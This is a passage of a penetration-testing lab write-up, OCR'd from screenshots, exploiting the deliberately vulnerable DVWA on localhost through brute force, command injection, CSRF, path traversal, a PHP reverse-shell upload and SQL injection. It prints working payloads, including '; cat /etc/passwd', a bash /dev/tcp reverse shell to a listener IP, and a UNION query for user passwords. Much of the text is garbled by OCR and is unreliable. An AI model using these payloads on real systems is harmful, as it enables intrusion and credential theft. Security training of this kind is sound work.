I then right clicked on it to send it to the intruder where the brute force attack will
be conducted as seen below;



Burp Project Intruder Repeater View Help Burp Suite Community Edition v; Temporary Project

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn

1 2x 4+

Sniper attack

Target | hitpiilocalhost

Positions Add § Clear § Auto §

GET /vulnerabilities/brute/?username=admin&password=test&Login=Login HTTP/1.1
Host: localhost
sec-ch-va: "Chromium”
sec-ch-va-mobile: 20
sec-ch-ua-platform: "Linux®

Accept-Language: en-US,en;q=0.9

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, Llike Gecko) Chreme/137.0.0.0 Safari/$37.36

: text/html,application/xhtml+xml,application/xml;q=8.9, image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Sit
Sec-Fetch-Mod
2 Sec-Fetch-Use ?
3 Sec-Fetch-Dest: document

Referer: http://localhost/vulnerabilities/brute/

Accept-Encoding: gzip, deflate, br

16 Cookie: security=Tlow; PHPSESSID=k2Zuc4lvl9veuiSmré4e9jhiévds; security=low
17 Connection: keep-alive

ey

"137", "Not/A)Brand"

@ o B o R

©
=
5
o
@

=
=

(B © startattack

Update Host header to match target

Payloads

Toget star
target you

I then added the symbols around the parameter that I want to brute force in this
case its the password part indicating that the attack will be focused on that specific

value as seen below;

Burp Project Intruder Repeater View Help Burp Suite Community Edition v20 Temporary Project
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Qrganizer Extensions. Learn

1 2%+

(@  sniperattack

Target | httpfilocalhost

Pasitions Add § Clear§ Aute §

6ET /vulnerabilities/brute/?username=admin&password=§Eest§aLogin=Login HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium®
sec-ch-va-mobile: ?8
sec-ch-ua-platform: "Linux"

Accept-Language: en-US,en;q=0.9

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safarif537.36

Accept: text/mtml,application/xhtml+xml, application/xml;q=6.9,image/avif, image/webp,inage/apng,*/*;q=08.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-5ite: same-origin

Sec-Fetch-Mode: navigate

2 Sec-Fetch-User: ?1

13 Sec-Fetch-Dest: document

14 Referer: http://localhost/vulnerabilities/brute/

15 Accept-Encoding: gzip, deflate, br

16 Cookie: security=low; PHPSESSID=k2uc4lvl9veuviSmrac9jhasvds; security=low

17 Connection: keep-alive

="24"

="137", "Not/A)Brand";

R L E NN

B e
e ==y

~ (® Start attack

Update Hest header to match target

Payloads

Payload positicn:
Payload type:
Payload count:

Request count:
Payload configur

This payload type

Paste
Load...
Remove
Clear

Deduplicate

Add

Payload pracessi

Vot ran dafina n

Then I selected the simple list as the payload type to add potential passwords for the

brute force attack as seen below;



Payloads m ) x

After | Payload position:
Payload type: Simple list >
Payload count: 4

Request count: 4

Payload configuration ~

This payload type lets you configure a simple list of strings that are used as payloads.

Paste 12345
test
Load...
password
Remove admin
Clear
Deduplicate
Add Enter a nel .'I‘-__-..-\;-_
Add from list... [Pro version only] e

starting the attack, I checked for the response length where a successful login
usually changes the content length compared to failed attempts as seen below;

Attack  Save

< 3.Intruder attack of http://localhost

Results Positions
W Capture filter: Capturing all items
W View filter: Showing all items

esponse received Error Timeout Length Comment it
4703
4703
4703
474
4703

Request Payload Status code
200

12345 200

test 200

password 200

admin 200

N NN

slwrn o

The above shows that “password” is the correct password that was successful so
taking it to our login page I was able to login as admin, as it can be seen below;



Vulnerability: Brute Force

Home |
Instructions | Login
Setup / Reset DB |
Username:
Password:
Command Injection |
CSRF
| Login

File Inclusion

Welcome to the password protected area admin

.. N

w

File Upload
Insecure CAPTCHA

SQL Injection
SQL Injection (Blind)

Weak Session IDs
XSS (DOM)

XSS (Reflected)
XSS (Stored)

More Information

CSP Bypass

JavaScript

PVNA Sarrity |

2.Command Injection
First command injection is when an attacker can run any commands on a remote
system and below is a screenshot of how this task looks like;

m— Vulnerability: Command Injection

Instructions - -
Ping a device
Setup | Reset DB i
?‘ Submit
Brute Force
Command Injection

CSRF

More Information

File Inclusion

File Upload

Insecure CAPTCHA
SQL Injection

SQL Injection (Blind)
Weak Session IDs
XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

Then on analyzing the source code, I saw that the input requires an IP address,
triggering a ping command via shell_exec as seen below;



Command Injection Source

vulnerabilities/exec/sourcellow.php

| Compare All Levels |

I tried to input my localhost IP and triggered the ping command to observe the

execution Process; )
D\®8)

Home Vulnerability: Command Injection

Instructi i i
nstructions Ping a device
Setup | Reset DB

Enter an IP addr - ||submit|
Brute Force -
Command Injection
CSRF
File Inclusion
File Upload
Insecure CAPTCHA
SQL Injection

Then I modified the command a bit to try view passwords as seen below;

Ping a device
As

N4l Enter an IP address:|127.0.0.1 ; cat Ietcfpa55wd| | Submit |

above the semicolon allows me to run multiple commands in a single
line to give out output that is sensitive;



Vulnerability: Command Injection

Ping a device

Enter an IP address: Submit

3.CSRF

The front page for this task just requested to change the password so I tried going to
check the source code as seen below;



Damn Vulnerable Web Application (DVWA) v1.10 *Development*Source :: Damn Vulnerable Web Application {DVWA) v1.10 *Development* — Mozilla Firefox
ocalhost

CSRF Source

vulnerabilities/csrflsourcellow.php

atch?
£ {

T w = ((isset(SGLOBALSI
w = mds( F

| Compare All Levels |

This is how the page looks like;

Vulnerability: Cross Site Request Forgery (CSRF)

Home
Instructions .

Change your admin password:
Setup | Reset DB

New password:

Brute Force

Command Injection Confirm new password:
CSRF |

File Inclusion (Change |

File Upload

Insecure CAPTCHA

SQL Injection "
More Information

SQL Injection (Blind)

2 « https:/iwww.owasp.orglindex.php/Cross-Site Request Forgery

Weak Session IDs « http:liwww.cgisecurity.com/csrf-fag.html

XSS (DOM) « https:llen.wikipedia.org/wikilCross-site request forgery

XSS (Reflected)
XSS (Stored)
CSP Bypass

JavaScript

The code actually uses a GET method and so I tried changing the password to admin
and I saw the request was handled using the GET method with parameters included
directly in the URL, so I went to craft the URL with parameters and sent it to a
victim

Below is how I went to encode the crafted URL using burpsuite;




Bl Bup Project Intruder Repeater View Help o S § i N

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn D €
passwore d_ct hange=Change# @ Text () H ®
Decode a .
Encode a
Hash

Smart decode

968 %74974%70%32%2f% 3%74%210%676% T3%T7%6(%7 73 @ Text (O Hex

Decode as .
Encode as..
Hash

smart decode

Now when a victim click on it, their password will be automatically changed as
long as they are logged in as seen below;

Vulnerability: Cross Site Request Forgery (CSRF)

Change your admin password:

:-é!-'-lﬂﬂ.i__z_lutf |

4.File Inclusion

File inclusion is a vulnerability where an application lets users choose which files to
load and if not handled securely, hackers can exploit it to load sensitive files or even
run harmful code.

Below is how the landing page for the task looked like;

O\WA)

e Vulnerability: File Inclusion

Instructions T g ; ’ :
e PHP function allow_url_include is not enabled

Setup | Reset DB

Brute Force

Command Injection

More Information

CSRF

orglwikilRemote File Inclusion

File Inclusion : =
rglindex.php/Top 10 2007-A3

File Upload
Insecure CAPTCHA

SQL Injection



Then below I went to read the source code to understand what happens, where I
saw that there is no sanitization or validation of the $file variable making to
vulnerable to file inclusion attacks;
-
DVWA

Damn Vulnerable Web Application (DVWA) v1.10 *Development*Source :: Damn Vulnerable Web Application (...

vealhost
Home et

Instruct

File Inclusion Source

Setup /|

srute p. VUINerabilities/filsourcellow.php

Comma | _, .
CSRF

File Incl
File Upl

Insecur

SQL Inje

To try this I used ../../..[..[..|../ sequence to move up the directory structure so that I
can access higher-level directories and even view all the passwords in the system as
seen below;

5.File Upload
This is a feature where users can upload something to the server and if not secured
it can be very dangerous.

The landing page of the task looked like this below;

e

I Vulnerability: File Upload

Instructions

Setup | Reset DB

Choose an image to upload:

\ Browse... \ No file selected.
Brute Force —
| Upload |
Command Injection -

CSRF

More Information

File Inclusion
File Upload
Insecure CAPTCHA « https:/iwww.acunetix.com/websitesecurity/upload-forms-threat/

« https:/iwww.owasp.orgl/index.php/Unrestricted_File Upload
SQL Injection
SQL Injection (Blind)



Then on reading the source code, I saw a form to upload a file and even on trying to
upload a .php file it was sent successfully which is a bad security feature already as
there is no sanitization;

File Upload Source

vulnerabilities/upload/sourcellow.php

I created a .php file with a reverse shell command inside and then uploaded it as
seen below;

Vulnerability: File Upload

Choose an image to upload:
| Browse... | shell.php

| Upload |

More Information
https:/iwww.owasp.orglindex.php/Unrestricted_File Upload

https:/lwww.acunetix.com/websitesecurity/upload-forms-threat/

It was uploaded successfully and even gave me the path to where I uploaded the file
as seen below;



Vulnerability: File Upload

Choose an image to upload:
| Browse... | No file selected.

| Upload |

I started a listener somewhere an acccessed the path where the file was uploaded;

ocalhos

B Kali Docs ¥ Kali Forums @ Kali NetHunter

o)

e Vulnerability: File Upload

Instructions o )
Choose an image to upload:
Setup | Reset DB
| Browse... | No file selected.
Brute Force ———
— | Upload |
Command Injection —

CSRE ../ .. /hackable/uploads/shell.php

The listener caught a shell as seen below;

'html/hackable/uploa

I could even access the file I uploaded as proof of concept seen below, so this is a
very bad and dangerous vulnerability that can compromise systems;



nc -lvnp 1234
istening on [any] 1234
onnect to [172.17.17.2082] from (UNKNOWN) [172.18.8.2] 56782
pash: cannot set terminal process group (528): Inappropriate ioctl for device
pash: no job control in this shell
pww-data@2B8casbbs99da: fvar /www/html/hackable/uploads$ 1s

Hvwa_email.png

Ehell. php

pww-data@28casbbs9?da: fvar /www/html/hackable/uploads$ cat shell.php

at shell.php

php exec("/bin/bash -c 'bash -i =& /fdev/tcp/172.17.17.202/1234 0=&1'"); ?>
pww-data@?B8cadbbs99da: fvar /www/html/hackable fuploads$ [

6.SQL Injection
Below is how the SQL injection vulnerability exploitation page looks like;

Home Vulnerability: SQL Injection

Instructions

Setup / Reset DB User ID: ‘ “ Submit |

Brute Force
Command Injection More Information

CSRF « http:/iwww.securiteam.com/securityreviews/SDPON1P76E.html
Eile Inclusion » https:/len.wikipedia.org/wiki/SQL _injection
« http:/iferruh.mavituna.comisql-injection-cheatsheet-oku/
File Upload

« https:/iwww.owasp.orglindex.php/SQL _Injection
Insecure CAPTCHA « http:/ibobby-tables.com/

SQL Injection

Then on reading the code I discovered that the user input $id is directly
concatenated into the SQL query without validation or sanitization thus allowing an
attacker to inject malicious SQL statements and extract or manipulate the database.

e WeDb Application (DVVVA Development™ — M

SQL Injection Source
vulnerabilities/sqli/sourcellow.php
2ph
if( isset( $_REQUEST[
// Get input
$id = $_REQUESTI
// Check database
3 y = bid ;
, S$query ) or die( . ((is_object($GLOBALS ysqli_error($6LOBALS[

_fetch_assoc( $result ) ) {

13
i3

/l Feedback for end user
echo {$id}

sqli_close ($6LOBALSI




As the application doesn’t use prepared statements I tried uploading the query
below;

Vulnerability: SQL Injection

User ID: | ?id=1' OR '1'="1 || Submit |

It returned first name and last names of all users in the application as seen below;

Vulnerability: SQL Injection

User ID: | | Submit |

Now that was a very basic SQL injection, now imagine an attacker
crafting a query to view all passwords of users from the database;

Example of a query like that is ?id=1 UNION SELECT user, password FROM
users#



Generally these were the vulnerabilities discovered and exploited from both DVWA
and OWASP Juice Shop.



